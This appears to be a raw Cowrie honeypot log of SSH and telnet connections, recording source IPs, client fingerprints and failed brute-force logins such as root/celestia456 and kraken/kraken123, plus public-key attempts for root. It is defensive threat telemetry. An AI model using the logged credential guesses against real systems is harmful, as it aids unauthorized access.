{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":34564,"dst_ip":"10.17.0.5","dst_port":22,"session":"aceaf4a23f85","protocol":"ssh","message":"New connection: 192.169.180.166:34564 (10.17.0.5:22) [session: aceaf4a23f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:23.484687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:23.488366Z","src_ip":"192.169.180.166","session":"aceaf4a23f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:23.552850Z","src_ip":"192.169.180.166","session":"aceaf4a23f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kraken","password":"kraken123","message":"login attempt [kraken/kraken123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:23.755272Z","src_ip":"192.169.180.166","session":"aceaf4a23f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:24.822892Z","src_ip":"192.169.180.166","session":"aceaf4a23f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49514,"dst_ip":"159.203.135.109","dst_port":23,"session":"521155f47fe4","protocol":"telnet","message":"New connection: 170.64.224.25:49514 (159.203.135.109:23) [session: 521155f47fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:25.031355Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44524,"dst_ip":"10.17.0.5","dst_port":22,"session":"6645e42e89e9","protocol":"ssh","message":"New connection: 8.210.75.243:44524 (10.17.0.5:22) [session: 6645e42e89e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:30.813128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:30.818749Z","src_ip":"8.210.75.243","session":"6645e42e89e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60862,"dst_ip":"159.203.135.109","dst_port":23,"session":"d856e4697ccb","protocol":"telnet","message":"New connection: 170.64.224.25:60862 (159.203.135.109:23) [session: d856e4697ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:42.360782Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.116.101.220","src_port":62852,"dst_ip":"159.203.135.109","dst_port":22,"session":"231638e5aa1b","protocol":"ssh","message":"New connection: 18.116.101.220:62852 (159.203.135.109:22) [session: 231638e5aa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:44.525715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:44.640478Z","src_ip":"18.116.101.220","session":"231638e5aa1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:44.643781Z","src_ip":"18.116.101.220","session":"231638e5aa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:44.917326Z","src_ip":"18.116.101.220","session":"231638e5aa1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56618,"dst_ip":"10.17.0.5","dst_port":22,"session":"04124ad3587b","protocol":"ssh","message":"New connection: 8.210.75.243:56618 (10.17.0.5:22) [session: 04124ad3587b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:45.630040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:47.310117Z","src_ip":"8.210.75.243","session":"04124ad3587b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6385760307312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:55.669816Z","src_ip":"170.64.224.25","session":"521155f47fe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58242,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a07a216e3d9","protocol":"telnet","message":"New connection: 170.64.224.25:58242 (159.203.135.109:23) [session: 2a07a216e3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:47:56.190157Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:05.719565Z","src_ip":"8.210.75.243","session":"4964e7b1e1a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":42748,"dst_ip":"159.203.135.109","dst_port":22,"session":"b425cb5bac73","protocol":"ssh","message":"New connection: 159.65.58.200:42748 (159.203.135.109:22) [session: b425cb5bac73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:08.093586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:08.321084Z","src_ip":"159.65.58.200","session":"b425cb5bac73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:08.324644Z","src_ip":"159.65.58.200","session":"b425cb5bac73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sitnikva","password":"123456","message":"login attempt [sitnikva/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:09.313529Z","src_ip":"159.65.58.200","session":"b425cb5bac73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:10.700011Z","src_ip":"159.65.58.200","session":"b425cb5bac73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.300108909606934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:12.660738Z","src_ip":"170.64.224.25","session":"d856e4697ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:17.628952Z","src_ip":"8.210.75.243","session":"a86f0128bfbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:35.183251Z","src_ip":"8.210.75.243","session":"8bc06bddc7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":53564,"dst_ip":"159.203.135.109","dst_port":22,"session":"54a9f6b533bb","protocol":"ssh","message":"New connection: 198.12.251.137:53564 (159.203.135.109:22) [session: 54a9f6b533bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:42.310396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:42.325603Z","src_ip":"198.12.251.137","session":"54a9f6b533bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:42.379136Z","src_ip":"198.12.251.137","session":"54a9f6b533bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celestia456","message":"login attempt [root/celestia456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:42.646591Z","src_ip":"198.12.251.137","session":"54a9f6b533bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:43.715745Z","src_ip":"198.12.251.137","session":"54a9f6b533bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47016,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c892332a618","protocol":"telnet","message":"New connection: 170.64.224.25:47016 (159.203.135.109:23) [session: 7c892332a618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:51.257995Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40344,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05ca5a86813","protocol":"ssh","message":"New connection: 8.210.75.243:40344 (10.17.0.5:22) [session: c05ca5a86813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:51.734426Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":38048,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe330016bc87","protocol":"ssh","message":"New connection: 51.159.104.219:38048 (10.17.0.5:22) [session: fe330016bc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.376884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.380959Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.469350Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:fc:90:df:3f:38:b9:33:a8:23:4a:41:f9:bb:2c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7tseWxZWABebHn9smz5RSkRNzeMjTOengqMt+aJggXqUl/uz+9T2rLqvTSS+csU6rfTHRbK3+EsLWfaSMQjwW16Myq7Lx2UkqMKCe5TS18V1h+ho5cL+YMmLaEsiIXpjAyZ9O4CIfTxDaxiz+JBTpSJRxZ7BKhF+hAQsa+c2aDDuAo+Z3j6nPVHAfh8KT6hmDakwiRvF26W7CxDkDlXWdaDjp23F9COTew6Kxmz/QrEgxlpMEo8v6BVqwYIBZGfoobq8/PseuB+HV3+AJp3wey8doTYALQUljG38P20yGa1uCex9hKXxxg2o3E+5Z39ZRGjG7OZDWF4yRqXX/QtheCwZzo6/ImS3kKgylS2Xvvtb9/AZiXtGumGrQbP+M68CVN79CbShGz9PHhjfaFRtgrf+8K4fYMVgONDAKuehlGRtPsfHoTeMedh+r5VpeproPrQ9n2PVGs7PXOrJh74hr4z2LCpLvSzmrO3VuZ0kptpK7SuVHI60JsBo/zHXyPnUv9nJMLgEXMOOQGUnifq8Kw2NgvNVxSTxA1oXkDSW7iY45zqMuhkdLm3Q3YYycTPQrFG3581063rS8dLG2ynymgKzE1yefc1ulLQL3VxDflIJfdUKAmMB2fL9SbPVTaocYYA1BD2hrhFz4YI9zhzSegazYo9YKFngYnH4kXIjvbw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:fc:90:df:3f:38:b9:33:a8:23:4a:41:f9:bb:2c:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.885855Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:fc:90:df:3f:38:b9:33:a8:23:4a:41:f9:bb:2c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7tseWxZWABebHn9smz5RSkRNzeMjTOengqMt+aJggXqUl/uz+9T2rLqvTSS+csU6rfTHRbK3+EsLWfaSMQjwW16Myq7Lx2UkqMKCe5TS18V1h+ho5cL+YMmLaEsiIXpjAyZ9O4CIfTxDaxiz+JBTpSJRxZ7BKhF+hAQsa+c2aDDuAo+Z3j6nPVHAfh8KT6hmDakwiRvF26W7CxDkDlXWdaDjp23F9COTew6Kxmz/QrEgxlpMEo8v6BVqwYIBZGfoobq8/PseuB+HV3+AJp3wey8doTYALQUljG38P20yGa1uCex9hKXxxg2o3E+5Z39ZRGjG7OZDWF4yRqXX/QtheCwZzo6/ImS3kKgylS2Xvvtb9/AZiXtGumGrQbP+M68CVN79CbShGz9PHhjfaFRtgrf+8K4fYMVgONDAKuehlGRtPsfHoTeMedh+r5VpeproPrQ9n2PVGs7PXOrJh74hr4z2LCpLvSzmrO3VuZ0kptpK7SuVHI60JsBo/zHXyPnUv9nJMLgEXMOOQGUnifq8Kw2NgvNVxSTxA1oXkDSW7iY45zqMuhkdLm3Q3YYycTPQrFG3581063rS8dLG2ynymgKzE1yefc1ulLQL3VxDflIJfdUKAmMB2fL9SbPVTaocYYA1BD2hrhFz4YI9zhzSegazYo9YKFngYnH4kXIjvbw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.888527Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:74:7a:d5:e2:9a:44:84:e6:fa:34:db:ff:54:ce:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrQtSRiEDj6INKIb4aGFf5NDPZzFjycKVawItSjiY2ejduW23DFXl65jFzXlhX3Yv1mtF5zFxLYO7keBMKJE/JBlUg6WhvIw4HW6sRtKksQ9HUn2FHPFF3Tgyw/WDnqexV70RVXEZxcQ+HMZVgchEEObS9Jb5cns2BNOdJkmp5dsy19TPcRah4gKz+j7AMRRftodM4hPUOw1zYAzDaBe9hk+HZ8TchqevlwbQ+TkN3/KHv3rsZO5TeF3nmF2jMs9AZ9J/5JWEnlx5nByVzW0AMSFziPMIb7pKQ5EwM54QfCvTuri+OuJokrhe+NnH7o/fNt8RLfYP//umd5f85T91V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:74:7a:d5:e2:9a:44:84:e6:fa:34:db:ff:54:ce:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.973020Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:74:7a:d5:e2:9a:44:84:e6:fa:34:db:ff:54:ce:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrQtSRiEDj6INKIb4aGFf5NDPZzFjycKVawItSjiY2ejduW23DFXl65jFzXlhX3Yv1mtF5zFxLYO7keBMKJE/JBlUg6WhvIw4HW6sRtKksQ9HUn2FHPFF3Tgyw/WDnqexV70RVXEZxcQ+HMZVgchEEObS9Jb5cns2BNOdJkmp5dsy19TPcRah4gKz+j7AMRRftodM4hPUOw1zYAzDaBe9hk+HZ8TchqevlwbQ+TkN3/KHv3rsZO5TeF3nmF2jMs9AZ9J/5JWEnlx5nByVzW0AMSFziPMIb7pKQ5EwM54QfCvTuri+OuJokrhe+NnH7o/fNt8RLfYP//umd5f85T91V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:54.976128Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:f4:1e:21:9c:62:c1:55:ab:3f:da:85:34:f1:d8:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCskxNkOFk1l3S3wXPTn74nTiwp3xsZR3uEfY01kfjqTVSt1bVvHHdoXZWdop8+X0X0u6A0H5eDGBN1smS5+ndUxFVVHIE1B+WJna+e/132viIGOye3WDgTuniUB+7JrnyGXVW7Pw4kdMGn8Lu+8Wc2CAyUgg5SXgU78bSfaBY8b+Aobf7hi7Qps36e+ckIA0TrWxEpWYcuE2EVJ8PuoLlTkbV249MjzQGrVxH5FxEpzYh+UGDUsirWfF7rtz8KBeGeUmWQhalVQQvJTvzW4ZFTtLvWuiMJVjD8WGEk9V11Z3YSbRhPLpmQvO5Pp42KitsuKNrCITRXmaGcdcc0Qnux","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:f4:1e:21:9c:62:c1:55:ab:3f:da:85:34:f1:d8:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:48:55.060681Z","src_ip":"51.159.104.219","session":"fe330016bc87","protocol":"ssh"}
